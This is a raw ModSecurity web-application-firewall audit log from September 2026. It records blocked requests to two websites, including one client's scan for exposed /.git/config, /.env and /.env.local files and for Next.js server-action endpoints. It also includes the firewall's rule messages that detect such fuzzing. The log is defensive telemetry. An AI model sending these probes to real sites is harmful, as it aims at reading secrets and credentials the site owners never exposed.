Content-Type: text/html; charset=iso-8859-1
--6800d212-E--
--6800d212-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265960498377 6704 (- - -)
Stopwatch2: 1789265960498377 6704; combined=4671, p1=397, p2=3914, p3=75, p4=7, p5=278, sr=225, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6800d212-Z--
--0bb34e1d-A--
[13/Sep/2026:05:19:20.872836 +0300] aqYIKGM7dE9KgIIOpQhc6QAAAM0 151.243.174.142 39444 127.0.0.1 7081
--0bb34e1d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--0bb34e1d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--0bb34e1d-E--
--0bb34e1d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265960866791 6085 (- - -)
Stopwatch2: 1789265960866791 6085; combined=4523, p1=219, p2=3939, p3=66, p4=8, p5=291, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0bb34e1d-Z--
--e6bd2071-A--
[13/Sep/2026:05:19:21.274397 +0300] aqYIKWM7dE9KgIIOpQhc6gAAAM8 151.243.174.132 39450 127.0.0.1 7081
--e6bd2071-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--e6bd2071-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e6bd2071-E--
--e6bd2071-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265961260504 13943 (- - -)
Stopwatch2: 1789265961260504 13943; combined=7849, p1=284, p2=7166, p3=89, p4=8, p5=302, sr=126, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e6bd2071-Z--
--01596d60-A--
[13/Sep/2026:05:21:50.323050 +0300] aqYIvmM7dE9KgIIOpQhc-QAAAMY 45.91.4.144 53604 127.0.0.1 7081
--01596d60-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.144
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--01596d60-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--01596d60-E--
--01596d60-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266110317262 5826 (- - -)
Stopwatch2: 1789266110317262 5826; combined=4382, p1=286, p2=3755, p3=91, p4=7, p5=243, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--01596d60-Z--
--ab367600-A--
[13/Sep/2026:05:21:50.685420 +0300] aqYIvjTJ6xTvcJoem7f1VQAAAEA 45.91.4.62 53608 127.0.0.1 7081
--ab367600-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.62
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--ab367600-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ab367600-E--
--ab367600-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266110677943 7517 (- - -)
Stopwatch2: 1789266110677943 7517; combined=5470, p1=287, p2=4773, p3=82, p4=9, p5=319, sr=118, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ab367600-Z--
--fe1c427b-A--
[13/Sep/2026:05:21:51.023121 +0300] aqYIvysVWymXUono-eRQmgAAABA 45.91.4.233 53618 127.0.0.1 7081
--fe1c427b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.233
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--fe1c427b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--fe1c427b-E--
--fe1c427b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266111012232 10985 (- - -)
Stopwatch2: 1789266111012232 10985; combined=8129, p1=455, p2=7185, p3=129, p4=13, p5=346, sr=224, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fe1c427b-Z--
--2478b63d-A--
[13/Sep/2026:05:23:02.790901 +0300] aqYJBkwu1RSkptiiNIXtPwAAAJU 91.124.31.22 54024 127.0.0.1 7081
--2478b63d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--2478b63d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2478b63d-E--
--2478b63d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266182783248 7713 (- - -)
Stopwatch2: 1789266182783248 7713; combined=5713, p1=334, p2=4964, p3=100, p4=11, p5=304, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2478b63d-Z--
--deb6cb61-A--
[13/Sep/2026:05:23:03.137691 +0300] aqYJB2M7dE9KgIIOpQhdDwAAAMk 46.203.158.83 54030 127.0.0.1 7081
--deb6cb61-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--deb6cb61-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--deb6cb61-E--
--deb6cb61-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266183128478 9268 (- - -)
Stopwatch2: 1789266183128478 9268; combined=6460, p1=317, p2=5722, p3=86, p4=10, p5=325, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--deb6cb61-Z--
--74290d48-A--
[13/Sep/2026:05:23:03.454827 +0300] aqYJB0wu1RSkptiiNIXtQAAAAJc 46.203.158.165 54032 127.0.0.1 7081
--74290d48-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--74290d48-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--74290d48-E--
--74290d48-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789266183447530 7355 (- - -)
Stopwatch2: 1789266183447530 7355; combined=5473, p1=339, p2=4727, p3=82, p4=10, p5=315, sr=164, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--74290d48-Z--
--2478b63d-A--
[13/Sep/2026:05:32:35.832973 +0300] aqYLQzTJ6xTvcJoem7f1awAAAFM 34.175.231.24 36730 127.0.0.1 7081
--2478b63d-B--
POST / HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 748
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundary606e0ebe08a94c51
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--2478b63d-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2478b63d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266755630218 202850 (- - -)
Stopwatch2: 1789266755630218 202850; combined=5656, p1=274, p2=5033, p3=0, p4=0, p5=348, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2478b63d-Z--
--75fb8f79-A--
[13/Sep/2026:05:32:37.086659 +0300] aqYLRGM7dE9KgIIOpQhdcwAAAMA 34.175.231.24 36740 127.0.0.1 7081
--75fb8f79-B--
POST / HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 860
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundary0dd159bd1d764243
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--75fb8f79-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--75fb8f79-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266756957814 128919 (- - -)
Stopwatch2: 1789266756957814 128919; combined=7992, p1=891, p2=6786, p3=0, p4=0, p5=315, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--75fb8f79-Z--
--74290d48-A--
[13/Sep/2026:05:32:37.965844 +0300] aqYLRTTJ6xTvcJoem7f1bAAAAEM 34.175.231.24 36744 127.0.0.1 7081
--74290d48-B--
POST / HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 636
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundaryf9c275d1dccb47f8
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--74290d48-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--74290d48-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266757842195 123741 (- - -)
Stopwatch2: 1789266757842195 123741; combined=8130, p1=404, p2=7272, p3=0, p4=0, p5=454, sr=127, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--74290d48-Z--
--e8c15e5d-A--
[13/Sep/2026:05:32:39.021601 +0300] aqYLRmM7dE9KgIIOpQhddQAAANg 34.175.231.24 36758 127.0.0.1 7081
--e8c15e5d-B--
GET /.git/config HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e8c15e5d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e8c15e5d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYLRmM7dE9KgIIOpQhddQAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYLRmM7dE9KgIIOpQhddQAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYLRmM7dE9KgIIOpQhddQAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266758831517 190204 (- - -)
Stopwatch2: 1789266758831517 190204; combined=41189, p1=6729, p2=34367, p3=0, p4=0, p5=92, sr=205, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e8c15e5d-Z--
--e60bf642-A--
[13/Sep/2026:05:32:39.786323 +0300] aqYLRzTJ6xTvcJoem7f1bgAAAFY 34.175.231.24 36772 127.0.0.1 7081
--e60bf642-B--
POST / HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 13
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
Content-Type: application/x-www-form-urlencoded
--e60bf642-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e60bf642-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266759654699 131687 (- - -)
Stopwatch2: 1789266759654699 131687; combined=6446, p1=327, p2=5784, p3=0, p4=0, p5=334, sr=120, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e60bf642-Z--
--b8bf7125-A--
[13/Sep/2026:05:32:40.493372 +0300] aqYLSDTJ6xTvcJoem7f1bwAAAEU 34.175.231.24 36782 127.0.0.1 7081
--b8bf7125-B--
GET /.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b8bf7125-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b8bf7125-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.env"] [unique_id "aqYLSDTJ6xTvcJoem7f1bwAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266760362896 130558 (- - -)
Stopwatch2: 1789266760362896 130558; combined=5692, p1=306, p2=5306, p3=0, p4=0, p5=79, sr=135, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b8bf7125-Z--
--6d405511-A--
[13/Sep/2026:05:32:41.273105 +0300] aqYLSWM7dE9KgIIOpQhddgAAAMw 34.175.231.24 36794 127.0.0.1 7081
--6d405511-B--
GET /.env.local HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--6d405511-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6d405511-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.env.local"] [unique_id "aqYLSWM7dE9KgIIOpQhddgAAAMw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.env.local"] [unique_id "aqYLSWM7dE9KgIIOpQhddgAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266761126224 146968 (- - -)
Stopwatch2: 1789266761126224 146968; combined=32336, p1=267, p2=31999, p3=0, p4=0, p5=70, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6d405511-Z--
--e60bf642-A--
